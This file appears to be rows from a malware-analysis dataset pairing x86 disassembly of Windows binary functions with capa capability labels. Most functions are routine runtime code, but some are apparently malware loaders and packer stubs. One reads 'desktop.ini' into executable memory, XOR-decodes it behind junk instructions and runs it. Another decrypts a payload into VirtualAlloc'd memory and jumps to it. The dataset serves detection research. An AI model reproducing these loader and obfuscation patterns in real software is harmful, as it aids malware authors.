joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10014988
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10014a25
push ebx
push esi
call fcn.10014951
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10012503
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100149d2
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10014a24
push edi
push eax
call fcn.10010f40
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100149f2
call fcn.100109eb
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10014a23
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10012503
add esp, 0x20
test eax, eax
jne 0x10014a11
push edi
call fcn.100109eb
jmp 0x10014a19
push ebx
call fcn.100109eb
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10014a28
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x10014a39
pop esi
ret
push ebx
push edi
push esi
call fcn.10014951
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.10010f40
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x10014a61
push ebx
push esi
push edi
call fcn.100087f0
add esp, 0xc
push 0
call fcn.100109eb
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x10014e31
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10014a76
Function at 0x1001a591
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.1001a50d
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x1001a700
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x1001a700
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x1001a6b5
jg 0x1001a5ed
test eax, eax
je 0x1001a6ab
push 1
push 0x1000
call fcn.1001390e
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x1001a610
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1001a6a2
push 0x8000
push ebx
call fcn.1001a43e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x1001a639
jg 0x1001a634
cmp ecx, 0x1000
jb 0x1001a639
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.10017567
add esp, 0x10
cmp eax, 0xffffffff
je 0x1001a67e
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x1001a634
jl 0x1001a665
test ecx, ecx
jne 0x1001a626
push dword [ebp - 0xc]
push ebx
call fcn.1001a43e
push esi
call fcn.100109eb
add esp, 0xc
xor ebx, ebx
jmp 0x1001a70e
cmp byte [edi + 0x24], 0
je 0x1001a695
cmp dword [edi + 0x20], 5
jne 0x1001a695
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x1001a6a0
mov ebx, dword [edi + 0x18]
jmp 0x1001a6a2
xor ebx, ebx
push esi
call fcn.100109eb
pop ecx
jmp 0x1001a70e
test ecx, ecx
jg 0x1001a677
jl 0x1001a6b5
test eax, eax
jae 0x1001a677
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.1001b177
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1001a6d5
cmp byte [edi + 0x1c], 0
je 0x1001a677
jmp 0x1001a706
push ebx
call fcn.10016af4
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1001a677
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1001a70e
cmp byte [edi + 0x1c], 0
je 0x1001a70b
mov ebx, dword [edi + 0x18]
jmp 0x1001a70e
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.1001b177
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1001a728
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x1002c4b0]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1001a768
cmp byte [ebx], 0xa
jne 0x1001a768
or byte [edi + eax + 0x28], 4
jmp 0x1001a76d
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x1001a86c
mov dl, byte [eax]
cmp dl, 0x1a
je 0x1001a84f
inc eax
cmp dl, 0xd
je 0x1001a799
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x1001a7bf
cmp eax, ecx
jae 0x1001a7cd
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x1001a781
jmp 0x1001a86c
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001a84a
cmp dword [ebp - 0x10], 0
je 0x1001a84a
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x1002c4b0]
test byte [eax + edi + 0x28], 0x48
je 0x1001a824
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x1001a80f
mov byte [esi], dl
jmp 0x1001a820
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x1002c4b0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x1001a86c
cmp byte [ebp - 1], 0xa
jne 0x1001a833
cmp esi, ebx
jne 0x1001a833
mov byte [esi], 0xa
jmp 0x1001a86b
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.1001b177
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x1001a86c
mov byte [esi], 0xd
jmp 0x1001a86b
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x1002c4b0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x1001a869
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x1001a86c
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1001a875
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x1002c4b0]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1001a8bb
cmp word [ebx], dx
jne 0x1001a8bb
or byte [eax + edi + 0x28], 4
jmp 0x1001a8c0
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x1001aa23
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x1001aa03
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x1001a901
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x1001a937
cmp eax, edx
jae 0x1001a945
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x1001a8dc
jmp 0x1001aa23
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001a9fe
cmp dword [ebp - 0x18], 0
je 0x1001a9fe
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x1002c4b0]
test byte [eax + edi + 0x28], 0x48
je 0x1001a9d4
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x1001a998
mov word [esi], cx
jmp 0x1001a9cf
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x1002c4b0]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x1002c4b0]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x1002c4b0]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x1001aa23
pop eax
cmp word [ebp - 4], ax
jne 0x1001a9e4
cmp esi, ebx
jne 0x1001a9e4
mov word [esi], ax
jmp 0x1001aa20
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.1001b177
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x1001aa23
push 0xd
pop eax
jmp 0x1001a9df
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x1002c4b0]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x1001aa1d
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x1001aa23
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1001dd90
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001ddbd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001ddbd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x401271
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0x1c
push esi
push ecx
pop esi
sub ecx, ecx
mov edx, dword [esi + 0x3c]
mov dword [eax], ecx
mov eax, dword [ebp + 0x10]
add edx, esi
mov dword [eax], ecx
mov eax, 0x14c
push edi
push ecx
pop edi
cmp word [edx + 4], ax
jne 0x4013b8
push ebx
mov ebx, dword [edx + 0x88]
mov dword [ebp - 0x14], ebx
or ebx, ebx
je 0x4013b7
cmp dword [edx + 0x8c], ecx
je 0x4013b7
movzx eax, word [edx + 0x14]
add eax, 0x18
add eax, edx
movzx edx, word [edx + 6]
or edx, edx
je 0x4013b7
cmp dword [eax + 0xc], ebx
je 0x4012e2
inc ecx
add eax, 0x28
cmp ecx, edx
jb 0x4012d0
jmp 0x4013b7
mov edx, dword [eax + 0x14]
add edx, esi
push 0
movzx ecx, word [edx + 0xe]
movzx eax, word [edx + 0xc]
add ecx, eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x1c], ecx
pop ebx
je 0x4013b7
xor eax, eax
mov esi, dword [edx + eax*8 + 0x14]
and esi, 0x7fffffff
add esi, edx
push 0
movzx ecx, word [esi + 0xe]
movzx eax, word [esi + 0xc]
add ecx, eax
mov dword [ebp - 0x18], ecx
pop ecx
mov dword [ebp - 0xc], ecx
je 0x4013aa
xor eax, eax
cmp word [esi + eax*8 + 0x10], 0x65
jne 0x40139a
mov ecx, dword [esi + eax*8 + 0x14]
and ecx, 0x7fffffff
add ecx, edx
mov dword [ebp - 8], 0
movzx eax, word [ecx + 0xe]
mov dword [ebp - 4], eax
movzx eax, word [ecx + 0xc]
add dword [ebp - 4], eax
je 0x401393
sub eax, eax
mov edx, 0x409
cmp word [ecx + eax*8 + 0x10], dx
mov edx, dword [ebp - 0x10]
je 0x401376
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
movzx eax, ax
cmp eax, dword [ebp - 4]
jb 0x401356
jmp 0x401393
mov ecx, dword [ecx + eax*8 + 0x14]
mov edi, dword [ebp + 0xc]
mov eax, dword [ecx + edx]
sub eax, dword [ebp - 0x14]
add eax, edx
mov dword [edi], eax
mov eax, dword [ecx + edx + 4]
mov ecx, dword [ebp + 0x10]
sub edi, edi
mov dword [ecx], eax
inc edi
or edi, edi
jne 0x4013b7
mov ecx, dword [ebp - 0xc]
inc ecx
movzx eax, cx
mov dword [ebp - 0xc], ecx
cmp eax, dword [ebp - 0x18]
jb 0x401329
or edi, edi
jne 0x4013b7
inc ebx
movzx eax, bx
cmp eax, dword [ebp - 0x1c]
jb 0x401302
pop ebx
mov eax, edi
pop edi
pop esi
leave
ret 0xc

Function at 0x4013c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
push ebx
push esi
push edi
mov edi, edx
mov ebx, edi
shr ebx, 2
and edi, 3
mov esi, ecx
test ebx, ebx
je 0x4013f3
mov al, byte [ebp + 0xc]
mov edx, dword [esi]
add al, bl
movzx ecx, al
mov eax, dword [ebp + 8]
ror edx, cl
xor edx, eax
sub edx, ebx
mov dword [esi], edx
add esi, 4
dec ebx
jne 0x4013d6
jmp 0x4013f6
mov eax, dword [ebp + 8]
test edi, edi
je 0x401400
xor byte [esi], al
inc esi
dec edi
jne 0x4013fa
pop edi
pop esi
pop ebx
pop ebp
ret 0xc

Function at 0x401407
Capabilities:
Terminate process

Disassembly:
push ebx
mov eax, 0x10615
mov ebx, 0x12345678
mov ecx, 0x12345678
mov edx, 0x12345678
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [section..data], eax
jmp loc.0047950e
Function at 0x10028fbc
Capabilities:
Get file size
Get system information on windows

Disassembly:
push 0x38
mov eax, 0x1006db8e
call fcn.1006ca02
mov esi, ecx
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x44], esi
mov dword [esi + 0x10], eax
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov ebx, dword [ebp + 0xc]
or dword [esi + 0x14], 0xffffffff
mov ecx, 0x1000
mov dword [ebp - 4], eax
mov dword [esi], fcn.10027600
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
mov dword [ebp - 0x1c], ecx
test ebx, ebx
je 0x10029017
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, ebx
div ecx
push 0
push 0x8000080
push 3
push 0
push 1
push 0x80000000
push dword [ebp - 0x14]
mov ecx, ebx
mov eax, edx
sub ecx, eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
call dword [sym.imp.kernel32.dll_CreateFileA]
mov dword [esi + 0x14], eax
cmp eax, 0xffffffff
je 0x100290d2
cmp edi, 0xffffffff
jne 0x10029077
and dword [ebp - 0x14], 0
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.kernel32.dll_GetFileSize]
cmp dword [ebp - 0x14], 0
mov edi, eax
jne 0x100290d2
cmp edi, ebx
jbe 0x100290d2
cmp edi, 0xffffffff
je 0x100290d2
sub edi, ebx
xor eax, eax
push eax
push eax
push eax
push 2
push eax
push dword [esi + 0x14]
call dword [sym.imp.kernel32.dll_CreateFileMappingA]
mov ebx, dword [ebp - 0x40]
lea ecx, [edi + ebx]
mov dword [esi + 0x18], eax
cmp ecx, edi
jb 0x100290d2
test eax, eax
je 0x100290ad
push 0
push ecx
push dword [ebp - 0x3c]
push 0
push 4
push eax
call dword [sym.imp.kernel32.dll_MapViewOfFileEx]
mov dword [esi + 0x1c], eax
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x100290d2
push 0
push 0
lea ecx, [eax + ebx]
push edi
push ecx
mov ecx, esi
call fcn.100554ad
mov byte [esi + 5], 1
mov eax, esi
call fcn.1006ca85
ret 0xc
mov ecx, esi
call fcn.1002913d
push 0x1006ed24
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x3c], 1
call sub.MSVCR100.dll__CxxThrowException
int3

Function at 0x1005318f
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, dword [esi]
xor eax, eax
test edi, edi
je 0x100531b3
mov edx, dword [edi + 0x20]
mov dword [edi + 0x20], eax
mov ax, word [0x10006de8]
xor word [edi + 0x24], ax
mov eax, edi
mov edi, edx
test edx, edx
jne 0x1005319b
mov ecx, dword [esi + 4]
mov eax, dword [esi]
pop edi
mov dword [esi + 4], eax
mov dword [esi], ecx
pop esi
ret
Function at 0x100554ad
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x100554bc
pop dword [ebp - 0x34]
mov eax, 0x18244c9
add eax, 0xe830ff3
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x4c54c
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x3fbd2763
sub ecx, 0x3fbce217
xor ebx, ebx
add ebx, eax
mov esi, 0xfd005f45
add esi, 0x130736bb
add esi, dword [ebp - 0x34]
mov edi, 0x7acb6d80
add edi, 0xb6973334
add dword [ebp - 4], 0x3fe1fe02
mov edx, dword [esi]
xor dword [ebp - 0x14], edi
xor edx, edi
xor dword [ebp - 0xc], 0xe288d735
mov dword [ebx], edx
add dword [ebp - 0xc], 0xfc398700
add ebx, 0x5770da73
add ebx, 0xa88f2591
add esi, 0xcbbc1ce2
sub esi, 0xcbbc1cde
loop 0x10055518
add eax, 0x10803
xor ebx, ebx
add ebx, eax
add eax, 0xeea169fb
sub eax, 0xeea169f6
mov ecx, 0x1692ded1
sub ecx, 0x692ded1
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x1006c574
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000a378]
jne 0x1006cc00
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x10074a78], eax
mov dword [0x10074a74], ecx
mov dword [0x10074a70], edx
mov dword [0x10074a6c], ebx
mov dword [0x10074a68], esi
mov dword [0x10074a64], edi
mov word [0x10074a90], ss
mov word [0x10074a84], cs
mov word [0x10074a60], ds
mov word [0x10074a5c], es
mov word [0x10074a58], fs
mov word [0x10074a54], gs
pushfd
pop dword [0x10074a88]
mov eax, dword [ebp]
mov dword [0x10074a7c], eax
mov eax, dword [ebp + 4]
mov dword [0x10074a80], eax
lea eax, [ebp + 8]
mov dword [0x10074a8c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x100749c8], 0x10001
mov eax, dword [0x10074a80]
mov dword [0x1007497c], eax
mov dword [0x10074970], 0xc0000409
mov dword [0x10074974], 1
mov eax, dword [0x1000a378]
mov dword [ebp - 0x328], eax
mov eax, dword [0x10073cc8]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x100749c0], eax
push 1
call sub.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x1000a388
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x100749c0], 0
jne 0x1006ccec
push 1
call sub.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0xf6c364
Capabilities:
Encode data using xor

Disassembly:
jmp 0xf6c36e
pushal
call 0xf6c374
pop ebp
sub ebp, 0x10
sub ebp, 0xb6c364
jmp 0xf6c38a
mov eax, 0xb6c364
add eax, ebp
add eax, 0x4c
mov ecx, 0x5bf
mov edx, 0xba36e02b
xor byte [eax], dl
inc eax
dec ecx
jne 0xf6c3a1
jmp 0xf6c3b4
mov al, byte [0x17a2a0e6]
sub ebp, dword [ebx]
sub ebp, dword [edx + 0x2b2bd3ea]
sub ebp, dword [eax]
out 0x93, al
and ch, byte [ebx]
sub ebp, dword [ebx]
xchg ecx, eax
add ebp, dword [ebx]
sub ebp, dword [ebx]
fmul st(1), st(0)
sub bl, ah
mov al, byte [0x2b2b27aa]
sub ebp, dword [eax]
out dx, al
cmpsb byte [esi], byte es:[edi]
dec edi
invalid
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x403a74
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x390
mov eax, dword [0x44608c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
mov eax, 0x101
push 0
push eax
mov ecx, esi
mov dword [ebp - 0x390], eax
call fcn.004046c1
cmp dword [esi + 0x14], 8
jb 0x403aaa
mov eax, dword [esi]
jmp 0x403aac
mov eax, esi
lea ecx, [ebp - 0x390]
push ecx
push eax
push 2
call sub.Secur32.dll_GetUserNameExW
test al, al
je 0x403adf
push 0
push dword [ebp - 0x390]
mov ecx, esi
call fcn.004046c1
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004065bb
mov esp, ebp
pop ebp
ret 4
push 0x4243c0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xf
lea ecx, [ebp - 0x38c]
call fcn.004018f5
push 0x442bc0
lea eax, [ebp - 0x38c]
push eax
call fcn.004073d4
int3

Function at 0x402f0f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x408010]
jne 0x404450
repz ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x409368], eax
mov dword [0x409364], ecx
mov dword [0x409360], edx
mov dword [0x40935c], ebx
mov dword [0x409358], esi
mov dword [0x409354], edi
mov word [0x409380], ss
mov word [0x409374], cs
mov word [0x409350], ds
mov word [0x40934c], es
mov word [0x409348], fs
mov word [0x409344], gs
pushfd
pop dword [0x409378]
mov eax, dword [ebp]
mov dword [0x40936c], eax
mov eax, dword [ebp + 4]
mov dword [0x409370], eax
lea eax, [ebp + 8]
mov dword [0x40937c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x4092b8], 0x10001
mov eax, dword [0x409370]
mov dword [0x40926c], eax
mov dword [0x409260], 0xc0000409
mov dword [0x409264], 1
mov eax, dword [0x408010]
mov dword [ebp - 0x328], eax
mov eax, dword [0x408014]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x4092b0], eax
push 1
call fcn.00406093
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x401d80
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x4092b0], 0
jne 0x40453c
push 1
call fcn.00406093
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret